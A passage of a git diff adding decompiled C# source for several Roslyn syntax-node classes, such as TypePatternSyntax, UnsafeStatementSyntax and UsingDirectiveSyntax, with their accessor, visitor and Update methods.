WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypePatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypePatternSyntax.cs new file mode 100644 index 0000000..5359eb3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypePatternSyntax.cs @@ -0,0 +1,63 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class TypePatternSyntax : PatternSyntax +{ + private TypeSyntax? type; + + public TypeSyntax Type => ((SyntaxNode)this).GetRedAtZero(ref type); + + internal TypePatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref type); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)type; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypePattern(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypePattern(this); + } + + public TypePatternSyntax Update(TypeSyntax type) + { + if (type != Type) + { + TypePatternSyntax typePatternSyntax = SyntaxFactory.TypePattern(type); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return typePatternSyntax; + } + return typePatternSyntax.WithAnnotations(annotations); + } + return this; + } + + public TypePatternSyntax WithType(TypeSyntax type) + { + return Update(type); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeSyntax.cs new file mode 100644 index 0000000..02361ac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeSyntax.cs @@ -0,0 +1,21 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class TypeSyntax : ExpressionSyntax +{ + public bool IsVar => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)this).Green).IsVar; + + public bool IsUnmanaged => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)this).Green).IsUnmanaged; + + public bool IsNotNull => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)this).Green).IsNotNull; + + public bool IsNint => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)this).Green).IsNint; + + public bool IsNuint => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)this).Green).IsNuint; + + internal TypeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UnaryPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UnaryPatternSyntax.cs new file mode 100644 index 0000000..a5d3900 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UnaryPatternSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class UnaryPatternSyntax : PatternSyntax +{ + private PatternSyntax? pattern; + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UnaryPatternSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).Position, 0); + + public PatternSyntax Pattern => ((SyntaxNode)this).GetRed(ref pattern, 1); + + internal UnaryPatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref pattern, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)pattern; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitUnaryPattern(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitUnaryPattern(this); + } + + public UnaryPatternSyntax Update(SyntaxToken operatorToken, PatternSyntax pattern) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (operatorToken != OperatorToken || pattern != Pattern) + { + UnaryPatternSyntax unaryPatternSyntax = SyntaxFactory.UnaryPattern(operatorToken, pattern); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return unaryPatternSyntax; + } + return unaryPatternSyntax.WithAnnotations(annotations); + } + return this; + } + + public UnaryPatternSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(operatorToken, Pattern); + } + + public UnaryPatternSyntax WithPattern(PatternSyntax pattern) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(OperatorToken, pattern); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UndefDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UndefDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..9e9e48a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UndefDirectiveTriviaSyntax.cs @@ -0,0 +1,125 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class UndefDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UndefDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken UndefKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UndefDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).undefKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken Name => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UndefDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).name, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UndefDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UndefDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal UndefDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitUndefDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitUndefDirectiveTrivia(this); + } + + public UndefDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken undefKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || undefKeyword != UndefKeyword || name != Name || endOfDirectiveToken != EndOfDirectiveToken) + { + UndefDirectiveTriviaSyntax undefDirectiveTriviaSyntax = SyntaxFactory.UndefDirectiveTrivia(hashToken, undefKeyword, name, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return undefDirectiveTriviaSyntax; + } + return undefDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new UndefDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, UndefKeyword, Name, EndOfDirectiveToken, IsActive); + } + + public UndefDirectiveTriviaSyntax WithUndefKeyword(SyntaxToken undefKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, undefKeyword, Name, EndOfDirectiveToken, IsActive); + } + + public UndefDirectiveTriviaSyntax WithName(SyntaxToken name) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, UndefKeyword, name, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new UndefDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, UndefKeyword, Name, endOfDirectiveToken, IsActive); + } + + public UndefDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, UndefKeyword, Name, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UnsafeStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UnsafeStatementSyntax.cs new file mode 100644 index 0000000..7373d69 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UnsafeStatementSyntax.cs @@ -0,0 +1,136 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class UnsafeStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private BlockSyntax? block; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken UnsafeKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UnsafeStatementSyntax)(object)((SyntaxNode)this).Green).unsafeKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public BlockSyntax Block => ((SyntaxNode)this).GetRed(ref block, 2); + + public UnsafeStatementSyntax Update(SyntaxToken unsafeKeyword, BlockSyntax block) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, unsafeKeyword, block); + } + + internal UnsafeStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref block, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => block, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitUnsafeStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitUnsafeStatement(this); + } + + public UnsafeStatementSyntax Update(SyntaxList attributeLists, SyntaxToken unsafeKeyword, BlockSyntax block) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || unsafeKeyword != UnsafeKeyword || block != Block) + { + UnsafeStatementSyntax unsafeStatementSyntax = SyntaxFactory.UnsafeStatement(attributeLists, unsafeKeyword, block); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return unsafeStatementSyntax; + } + return unsafeStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new UnsafeStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, UnsafeKeyword, Block); + } + + public UnsafeStatementSyntax WithUnsafeKeyword(SyntaxToken unsafeKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, unsafeKeyword, Block); + } + + public UnsafeStatementSyntax WithBlock(BlockSyntax block) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, UnsafeKeyword, block); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new UnsafeStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + public UnsafeStatementSyntax AddBlockAttributeLists(params AttributeListSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBlock(Block.WithAttributeLists(Block.AttributeLists.AddRange((IEnumerable)items))); + } + + public UnsafeStatementSyntax AddBlockStatements(params StatementSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBlock(Block.WithStatements(Block.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UsingDirectiveSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UsingDirectiveSyntax.cs new file mode 100644 index 0000000..813a55d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UsingDirectiveSyntax.cs @@ -0,0 +1,228 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class UsingDirectiveSyntax : CSharpSyntaxNode +{ + private NameEqualsSyntax? alias; + + private TypeSyntax? namespaceOrType; + + public NameSyntax? Name => NamespaceOrType as NameSyntax; + + public SyntaxToken GlobalKeyword + { + get + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken globalKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UsingDirectiveSyntax)(object)((SyntaxNode)this).Green).globalKeyword; + if (globalKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)globalKeyword, ((SyntaxNode)this).Position, 0); + } + } + + public SyntaxToken UsingKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UsingDirectiveSyntax)(object)((SyntaxNode)this).Green).usingKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken StaticKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken staticKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UsingDirectiveSyntax)(object)((SyntaxNode)this).Green).staticKeyword; + if (staticKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)staticKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + } + } + + public SyntaxToken UnsafeKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken unsafeKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UsingDirectiveSyntax)(object)((SyntaxNode)this).Green).unsafeKeyword; + if (unsafeKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)unsafeKeyword, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + } + } + + public NameEqualsSyntax? Alias => ((SyntaxNode)this).GetRed(ref alias, 4); + + public TypeSyntax NamespaceOrType => ((SyntaxNode)this).GetRed(ref namespaceOrType, 5); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UsingDirectiveSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(6), ((SyntaxNode)this).GetChildIndex(6)); + + public UsingDirectiveSyntax Update(SyntaxToken usingKeyword, SyntaxToken staticKeyword, NameEqualsSyntax? alias, NameSyntax name, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return Update(GlobalKeyword, usingKeyword, staticKeyword, UnsafeKeyword, alias, name, semicolonToken); + } + + public UsingDirectiveSyntax Update(SyntaxToken globalKeyword, SyntaxToken usingKeyword, SyntaxToken staticKeyword, NameEqualsSyntax? alias, NameSyntax name, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(globalKeyword, usingKeyword, staticKeyword, UnsafeKeyword, alias, name, semicolonToken); + } + + public UsingDirectiveSyntax WithName(NameSyntax name) + { + return WithNamespaceOrType(name); + } + + internal UsingDirectiveSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 4 => ((SyntaxNode)this).GetRed(ref alias, 4), + 5 => ((SyntaxNode)this).GetRed(ref namespaceOrType, 5), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 4 => alias, + 5 => namespaceOrType, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitUsingDirective(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitUsingDirective(this); + } + + public UsingDirectiveSyntax Update(SyntaxToken globalKeyword, SyntaxToken usingKeyword, SyntaxToken staticKeyword, SyntaxToken unsafeKeyword, NameEqualsSyntax? alias, TypeSyntax namespaceOrType, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + if (globalKeyword != GlobalKeyword || usingKeyword != UsingKeyword || staticKeyword != StaticKeyword || unsafeKeyword != UnsafeKeyword || alias != Alias || namespaceOrType != NamespaceOrType || semicolonToken != SemicolonToken) + { + UsingDirectiveSyntax usingDirectiveSyntax = SyntaxFactory.UsingDirective(globalKeyword, usingKeyword, staticKeyword, unsafeKeyword, alias, namespaceOrType, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return usingDirectiveSyntax; + } + return usingDirectiveSyntax.WithAnnotations(annotations); + } + return this; + } + + public UsingDirectiveSyntax WithGlobalKeyword(SyntaxToken globalKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(globalKeyword, UsingKeyword, StaticKeyword, UnsafeKeyword, Alias, NamespaceOrType, SemicolonToken); + } + + public UsingDirectiveSyntax WithUsingKeyword(SyntaxToken usingKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(GlobalKeyword, usingKeyword, StaticKeyword, UnsafeKeyword, Alias, NamespaceOrType, SemicolonToken); + } + + public UsingDirectiveSyntax WithStaticKeyword(SyntaxToken staticKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(GlobalKeyword, UsingKeyword, staticKeyword, UnsafeKeyword, Alias, NamespaceOrType, SemicolonToken); + } + + public UsingDirectiveSyntax WithUnsafeKeyword(SyntaxToken unsafeKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(GlobalKeyword, UsingKeyword, StaticKeyword, unsafeKeyword, Alias, NamespaceOrType, SemicolonToken); + } + + public UsingDirectiveSyntax WithAlias(NameEqualsSyntax? alias) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(GlobalKeyword, UsingKeyword, StaticKeyword, UnsafeKeyword, alias, NamespaceOrType, SemicolonToken); + } + + public UsingDirectiveSyntax WithNamespaceOrType(TypeSyntax namespaceOrType) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(GlobalKeyword, UsingKeyword, StaticKeyword, UnsafeKeyword, Alias, namespaceOrType, SemicolonToken); + } + + public UsingDirectiveSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + return Update(GlobalKeyword, UsingKeyword, StaticKeyword, UnsafeKeyword, Alias, NamespaceOrType, semicolonToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UsingStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UsingStatementSyntax.cs new file mode 100644 index 0000000..eea52d9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/UsingStatementSyntax.cs @@ -0,0 +1,232 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class UsingStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private VariableDeclarationSyntax? declaration; + + private ExpressionSyntax? expression; + + private StatementSyntax? statement; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken AwaitKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken awaitKeyword = 